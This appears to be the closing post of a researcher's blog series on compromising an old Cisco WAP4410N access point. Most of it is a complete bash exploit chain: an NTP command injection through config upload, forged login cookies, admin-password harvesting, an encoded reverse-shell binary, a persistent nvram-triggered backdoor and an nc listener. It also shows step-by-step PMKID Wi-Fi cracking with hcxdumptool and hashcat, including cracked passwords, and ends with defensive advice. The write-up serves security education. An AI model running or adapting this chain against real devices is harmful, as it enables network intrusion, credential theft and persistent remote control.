Looks like we’ve scanned, poked, and prodded this thing enough. Time to stop gathering breadcrumbs and start baking a proper exploit.

Gaining access

Designing an exploit chain

We already know the first step in our exploit chain: crack the Wi-Fi. We’ve covered the PMKID route before, so let’s put that on the back burner for now and focus on automating the rest of the chain. Based on everything we’ve uncovered so far, the full attack path should look something like this:

  • Upload a malicious configuration file that leverages the NTP injection to tamper with htpasswd.
  • Use the injected credentials to pull down the device’s configuration file.
  • Extract the real admin credentials from that file and clean up our NTP injection.
  • Upload our old infection script (via the config file upload, since it’s not a valid config, the device will reject it, but the file will still land on disk under /var).
  • Use SSH to execute the infection script.
  • Sit back and wait for the reverse shell to connect.

Once all those pieces are chained together, we end up with a neat little bash script that does the heavy lifting for us.

Developing exploit code

#!/bin/bash

wait_countdown() {
  local secs="${1:-30}"
  local label="${2:-Waiting for reboot}"

  local yellow="\033[1;33m"
  local green="\033[1;32m"
  local reset="\033[0m"

  # handle Ctrl-C nicely
  trap 'printf "\n"; return 130' INT

  for ((s=secs; s>0; s--)); do
    printf "\r${yellow}%s... %2d seconds remaining...${reset}" "$label" "$s"
    sleep 1
  done
  printf "\r${green}%s... Done!                     ${reset}\n" "$label"

  trap - INT
}

echo_yellow() {
  echo -e "\033[33m$*\033[0m"
}

echo_red() {
  echo -e "\033[31m$*\033[0m"
}

print_banner() {
  red="\033[1;31m"
  reset="\033[0m"

  echo -e "${red}"
  cat <<'EOF'
      .-"      "-.
     /            \
    |,  .-.  .-.  ,|
    | )(_o/  \o_)( |
    |/     /\     \|
    (_     ^^     _)
     \__|IIIIII|__/
      | \IIIIII/ |
      \          /
       `--------`
EOF
  echo -e "${reset}"
}

set -euo pipefail

print_banner

IP="${1:-}"

if [[ -z "$IP" ]]; then
  echo "Usage: $0 <IP_ADDRESS>"
  echo "Example: $0 8.8.8.8"
  exit 1
fi

if [[ ! "$IP" =~ ^([0-9]{1,3}\.){3}[0-9]{1,3}$ ]]; then
  echo "Error: '$IP' doesn't look like an IPv4 address." >&2
  exit 1
fi

#================================================================================
echo_red "Attacking target IP: $IP"
#================================================================================

#================================================================================
echo_yellow "Generating and uploading malicious configuration file..."
#================================================================================
cat > payload.cfg <<'INI'
[Time]
Time_setting=1 ;0: manually, 1:automatically
Date=2011/01/02 ;yyyy/mm/dd
Time=05:57:22 ;hh:mm:ss
Time_zone=005-08:00 
User_Defined_NTP=1 ;0:disabled, 1:enabled
User_NTP=$(ps>>/tmp/htpasswd)
INI

curl -o /dev/null -i -L -H 'Referer: http://192.168.1.112/ConfigManagement.htm' -H 'Expect:' -F 'uploadType=config' -F '[email protected];filename=wap4410n.cfg;type=application/octet-stream' http://192.168.1.112/upload.cgi

wait_countdown 30

#================================================================================
echo_yellow "Downloading original configuration file..."
#================================================================================
USER="  193 root        356 S   sh -c /usr/sbin/ntp -z 005-08"
PASS='00 -h $(ps>>/tmp/htpass'

user_b64=$(printf '%s' "$USER" | base64 | tr -d '\n')
pass_b64=$(printf '%s' "$PASS" | base64 | tr -d '\n')
user_cookie=${user_b64//=/\%3D}
pass_cookie=${pass_b64//=/\%3D}
COOKIE="LoginName=$user_cookie; LoginPWD=$pass_cookie"


curl -i -L -H 'Referer: http://192.168.1.112/ConfigManagement.htm' -b "$COOKIE" 'http://192.168.1.112/download.cgi?next_file=wap4410n.cfg'

curl -o wap4410n.cfg -i -L -H 'Referer: http://192.168.1.112/ConfigManagement.htm' -b "$COOKIE" 'http://192.168.1.112/wap4410n.cfg'

#================================================================================
echo_yellow "Harvesting password from configuration file..."
#================================================================================
cfg="wap4410n.cfg"

PASSWORD=$(
  awk -F'=' '
    /^[[:space:]]*[;#]/ {next}                    # skip full-line comments
    /^[[:space:]]*AP_password[[:space:]]*=/ {
      val=$2
      sub(/^[[:space:]]*/,"",val)                 # trim left
      sub(/[[:space:]]*([;#].*)?$/,"",val)        # strip trailing comment + trim right
      print val
      exit
    }
  ' "$cfg"
)

if [ -n "$PASSWORD" ]; then
  echo_red "$PASSWORD"
else
  echo_red "AP_password not found" >&2
  exit 1
fi

#================================================================================
echo_yellow "Removing NTP injection.."
#================================================================================
cat > payload.cfg <<'INI'
[Time]
Time_setting=1 ;0: manually, 1:automatically
Date=2011/01/02 ;yyyy/mm/dd
Time=05:57:22 ;hh:mm:ss
Time_zone=005-08:00 wlan0_ssid0_pin
User_Defined_NTP=0 ;0:disabled, 1:enabled
User_NTP=
INI

curl -o /dev/null -i -L -H 'Referer: http://192.168.1.112/ConfigManagement.htm' -H 'Expect:' -F 'uploadType=config' -F '[email protected];filename=wap4410n.cfg;type=application/octet-stream' http://192.168.1.112/upload.cgi

wait_countdown 30

#================================================================================
echo_yellow "Creating infection script..."
#================================================================================
cat > infection.sh <<'INFECTION'
#!/bin/sh
nvram set revshell="echo -ne '\177\105\114\106\001\002\001\000\000\000\000\000\000\000\000\000\000\002\000\010\000\000\000\001\000\100\000\220\000\000\000\064\000\000\001\220\120\000\020\006\000\064\000\040\000\002\000\050\000\005\000\004\160\000\000\003\000\000\000\170\000\100\000\170\000\100\000\170\000\000\000\030\000\000\000\030\000\000\000\004\000\000\000\010\000\000\000\001\000\000\000\000\000\100\000\000\000\100\000\000\000\000\001\120\000\000\001\120\000\000\000\005\000\001\000\000\000\000\000\000\000\000\040\001\001\000\000\003\000\000\000\000\000\000\000\000\000\000\000\001\000\000\000\000\044\004\000\002\044\005\000\002\044\006\000\000\044\002\020\127\000\000\000\014\000\100\200\045\044\010\000\002\247\250\377\364\044\010\005\071\247\250\377\366\074\010\300\250\065\010\001\343\257\250\377\370\002\000\040\045\047\245\377\364\044\006\000\020\044\002\020\112\000\000\000\014\002\000\040\045\044\005\000\000\044\002\017\337\000\000\000\014\002\000\040\045\044\005\000\001\044\002\017\337\000\000\000\014\002\000\040\045\044\005\000\002\044\002\017\337\000\000\000\014\047\275\377\360\074\010\057\142\065\010\151\156\257\250\000\010\074\010\057\163\065\010\150\000\257\250\000\014\047\244\000\010\257\244\000\000\257\240\000\004\003\240\050\045\000\000\060\045\044\002\017\253\000\000\000\014\000\000\040\045\044\002\017\241\000\000\000\014\000\000\000\000\101\000\000\000\017\147\156\165\000\001\000\000\000\007\004\003\000\056\163\150\163\164\162\164\141\142\000\056\115\111\120\123\056\141\142\151\146\154\141\147\163\000\056\164\145\170\164\000\056\147\156\165\056\141\164\164\162\151\142\165\164\145\163\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\013\160\000\000\052\000\000\000\002\000\100\000\170\000\000\000\170\000\000\000\030\000\000\000\000\000\000\000\000\000\000\000\010\000\000\000\030\000\000\000\032\000\000\000\001\000\000\000\006\000\100\000\220\000\000\000\220\000\000\000\300\000\000\000\000\000\000\000\000\000\000\000\020\000\000\000\000\000\000\000\040\157\377\377\365\000\000\000\000\000\000\000\000\000\000\001\120\000\000\000\020\000\000\000\000\000\000\000\000\000\000\000\001\000\000\000\000\000\000\000\001\000\000\000\003\000\000\000\000\000\000\000\000\000\000\001\140\000\000\000\060\000\000\000\000\000\000\000\000\000\000\000\001\000\000\000\000'>/tmp/revshell"
nvram set wlan0_ssid0_pin=";nvram get revshell | sed 's/^name=//' | sh;chmod +x /tmp/revshell;echo 'while :; do sleep 60; /tmp/revshell; done'>/tmp/backdoor.sh;chmod +x /tmp/backdoor.sh;echo 17458399>/var/wps_pin;/tmp/backdoor.sh &"
nvram commit
reboot
INFECTION

#================================================================================
echo_yellow "Uploading infection script..."
#================================================================================
curl -o /dev/null -i -L -H 'Referer: http://192.168.1.112/ConfigManagement.htm' -H 'Expect:' -F 'uploadType=config' -F '[email protected];filename=wap4410n.cfg;type=application/octet-stream' http://192.168.1.112/upload.cgi || true

#================================================================================
echo_yellow "executing infection script..."
#================================================================================
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null 192.168.1.112 'mv /var/wap4410n.cfg /tmp/infection.sh; chmod +x /tmp/infection.sh; /tmp/infection.sh' || true

#================================================================================
echo_yellow "Waiting for reverse shell"
#================================================================================
nc -lvnp 1337

We’ll unleash the exploit script in just a moment, but before that, let’s pause for a quick detour, how to actually crack our way onto the Wi-Fi.

Running the PMKID attack

There are countless routes you can take when it comes to cracking Wi-Fi, whole rabbit holes of techniques you could easily lose days exploring. But that’s not our mission here. To keep things focused, we’ll stick with a PMKID attack, which still works just fine and makes for a solid demonstration. Things have changed a bit since the days when the younger (and slightly slimmer) version of me demoed it in that YouTube video.

So, step one: grab hcxdumptool from ZerBea’s repo https://github.com/ZerBea/hcxdumptool and the hcxtools from here https://github.com/ZerBea/hcxtools

With those in place, it’s time to roll up our sleeves and start dumping some packets.

~/Downloads sudo hcxdumptool -i wlp4s0                      

This is a highly experimental penetration testing tool!
It is made to detect vulnerabilities in your NETWORK mercilessly!
Misuse within a network, without specific authorization, may cause
irreparable damage and result in significant consequences!
Not understanding what you were doing is not going to work as an excuse!

BPF is unset! Make sure hcxdumptool is running in a 100% controlled environment!

starting...

102 ERROR(s) during runtime (mostly caused by a broken driver)
1350 Packet(s) captured by kernel
323 Packet(s) dropped by kernel
exit on error

I ran into a few errors along the way, seems like my Wi-Fi drivers aren’t exactly best friends with these tools. But honestly, I don’t really care, because it still works. You might have to run the capture a couple of times, since it relies on snagging traffic from connected clients. The more clients you’ve got, the quicker the results roll in. Once you’ve gathered some dumps, the next step is to extract hashes from them.

~/Downloads hcxpcapngtool -o hash.txt *.pcapng              
hcxpcapngtool 7.0.1-1-g136b667 reading from 20250907110840-wlp4s0.pcapng...

summary capture file
--------------------
file name................................: 20250907110840-wlp4s0.pcapng
version (pcapng).........................: 1.0
operating system.........................: Linux 6.12.10-76061203-generic
application..............................: hcxdumptool 7.0.0-1-g33ee466
interface name...........................: wlp4s0
interface vendor.........................: e00af6
openSSL version..........................: 1.0
weak candidate...........................: 12345678
MAC ACCESS POINT.........................: 980ee452e080 (incremented on every new client)
MAC CLIENT...............................: a4a6a9f6becc
REPLAYCOUNT..............................: 65100
ANONCE...................................: 0164296bf10a3e9f55e88b2a3991f6f1a50b2e92eba6cc52734eb2f011a03c7e
SNONCE...................................: 6c13d844f585b0a82eacf67219353977d54e76219ca9c522bb7ef7eb838792e1
timestamp minimum (timestamp)............: 07.09.2025 09:08:45 (1757236125)
timestamp maximum (timestamp)............: 07.09.2025 09:08:53 (1757236133)
duration of the dump tool (seconds)......: 8
used capture interfaces..................: 1
link layer header type...................: DLT_IEEE802_11_RADIO (127)
endianness (capture system)..............: little endian
packets inside...........................: 23
frames with FCS (radiotap)...............: 22
frames with correct FCS (crc)............: 22
packets received on 2.4 GHz..............: 22
ESSID (total unique).....................: 2
BEACON (total)...........................: 7
BEACON on 2.4 GHz channel (from IE_TAG)..: 1 6 
BEACON (SSID wildcard/unset).............: 5
PROBEREQUEST (undirected)................: 1
PROBERESPONSE (total)....................: 2
AUTHENTICATION (total)...................: 2
AUTHENTICATION (OPEN SYSTEM).............: 2
ASSOCIATIONREQUEST (total)...............: 2
ASSOCIATIONREQUEST (PSK).................: 2
EAPOL messages (total)...................: 7
EAPOL RSN messages.......................: 7
EAPOL ANONCE error corrections (NC)......: not detected
EAPOL M1 messages (total)................: 6
EAPOL M2 messages (total)................: 1
EAPOL pairs (total)......................: 1
EAPOL pairs (best).......................: 1
EAPOL ROGUE pairs........................: 1
EAPOL pairs written to 22000 hash file...: 1 (RC checked)
EAPOL M12E2 (challenge - ANONCE from M1).: 1

frequency statistics from radiotap header (frequency: received packets)
-----------------------------------------------------------------------
 2412: 14	 2437: 8	

Information: missing EAPOL M3 frames!
This dump file does not contain EAPOL M3 frames (possible packet loss).
It strongly recommended to recapture the traffic or to use --all option to convert all possible EAPOL MESSAGE PAIRs.


session summary
---------------
processed pcapng files................: 1

And finally, we bring out the trusty old hammer in every pentester’s toolbox, hashcat. Time to throw our captured hashes at it and let it chew through them with the classic rockyou.txt dictionary of common passwords.

~/Downloads sudo hashcat -w 3 -m 22000 hash.txt rockyou.txt 
hashcat (v6.2.5) starting

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported

CUDA API (CUDA 12.8)
====================
* Device #1: NVIDIA GeForce RTX 3070 Laptop GPU, 6696/7826 MB, 40MCU

OpenCL API (OpenCL 3.0 CUDA 12.8.97) - Platform #1 [NVIDIA Corporation]
=======================================================================
* Device #2: NVIDIA GeForce RTX 3070 Laptop GPU, skipped

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Hashes: 36 digests; 9 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1470 MB

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

a5dcd82b5302f83213c44b279b65032d:c47d4f88a74d:38baf8516c24:Lamers Inc:iloveyou1
9498ddcb51c9bad4c7b82237042bddee:002067c3ca38:38baf8516c24:Lamers Inc:iloveyou1
96a908c3667d91c8985cf6d0146c3812:000c53e3b359:38baf8516c24:Lamers Inc:iloveyou1
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => q

                                                          
Session..........: hashcat
Status...........: Quit
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: hash.txt
Time.Started.....: Sun Sep  7 11:39:50 2025 (8 secs)
Time.Estimated...: Sun Sep  7 11:40:17 2025 (19 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   454.9 kH/s (82.32ms) @ Accel:16 Loops:512 Thr:512 Vec:1
Recovered........: 3/9 (33.33%) Digests, 1/2 (50.00%) Salts
Progress.........: 11105198/28688768 (38.71%)
Rejected.........: 4223918/11105198 (38.04%)
Restore.Point....: 5255319/14344384 (36.64%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:0-6
Candidate.Engine.: Device Generator
Candidates.#1....: mystery4me -> mauroswife5
Hardware.Mon.#1..: Temp: 61c Util: 99% Core:1725MHz Mem:7001MHz Bus:8

Started: Sun Sep  7 11:39:47 2025
Stopped: Sun Sep  7 11:39:59 2025

I noticed a few hits popping up in the dictionary run, so I stopped hashcat and re-ran it with the –show option to reveal the cracked passwords.

~/Downloads sudo hashcat -m 22000 hash.txt --show 
96a908c3667d91c8985cf6d0146c3812:000c53e3b359:38baf8516c24:Lamers Inc:iloveyou1
a5dcd82b5302f83213c44b279b65032d:c47d4f88a74d:38baf8516c24:Lamers Inc:iloveyou1
9498ddcb51c9bad4c7b82237042bddee:002067c3ca38:38baf8516c24:Lamers Inc:iloveyou1

Automated exploitation of WAP4410N

Armed with our freshly cracked Wi-Fi credentials, we can now hop onto the network. The admin password from that we exfiltrated from that device in the dumpster might have changed in the meantime, but that’s hardly an issue. We’ve already got unauthenticated RCE in our pocket, along with an exploitation script that happily exfiltrates the admin password and plants a persistent backdoor.

Here’s what that exploitation flow looks like in practice:

Maintaining access

As you’ll remember from part two, our backdoor isn’t exactly shy, it happily respawns the reverse shell every time we close it. So whenever we feel like it, we can just hop back in and…

Summary

And that wraps up this IoT series on the Cisco WAP4410N. Time to look back and pull out some key lessons from this ride.

Physical access = access. If someone can touch the device, it’s only a matter of time before they own it. Sure, modern hardware might not leave passwords and keys lying around in plain text, but you don’t know that until you check. And even if they’re hashed, well, we just saw what tools like Hashcat can do. Bottom line: wipe your devices before disposal. Or, if you really want to sleep at night, destroy them.

Every device can and will be reverse engineered. You don’t need to stumble across one in a dumpster full of old configs, you can just buy it off the shelf. Newer devices may close some holes, but I guarantee you there are always more. That’s why defense in depth matters. Lock down every control you can: MAC filters, no admin over the air, WPA Enterprise, long and rotating passwords. Stack the odds in your favor.

What could an attacker do with a reverse shell like we had? Plenty. Lateral movement is the obvious one, pivoting deeper into your network. Sure, it’s clunky from a little box like this, but with the right cross-compiler and some persistence, it’s absolutely doable. Or they could mess with traffic, twisting layers of the OSI model to reroute web requests and slip in credential theft or worse.

From there, the possibilities are endless. That’s the point: don’t let attackers get that foothold in the first place. Patch and update your gear. Do your vulnerability monitoring,keep track of new vulnerabilities, they might just be aimed at your equipment.

And don’t be fooled by shiny vendor slogans like “CYBER DELUXE ANTI-IRONWARE™ by Large Company Inc.” That stuff won’t save you. What will help is building trust with an IT partner who actually knows their craft, and letting them guide you through the minefield.

One last thought before we wrap up: this kind of exploit isn’t just a one-off, it has the potential to be wormable inside a network. If multiple devices of the same brand and patch level are present, a determined attacker could absolutely build malware that propagates automatically from one to the next.

And let’s be real: this device is way past its end of life. If you still have one running in production, the best advice is simple, replace it. Yesterday.

That’s it for now. We’ll almost certainly be diving into more modern IoT gear in the future. Of course, if we stumble across something new and dangerous, we’ll follow responsible disclosure, which means it could take a while before anything like this shows up here again. In the meantime, don’t worry, there’s always plenty of other fun stuff to poke at.

Until the next time, happy hacking!

/f1rstr3am

Christian

HTB THM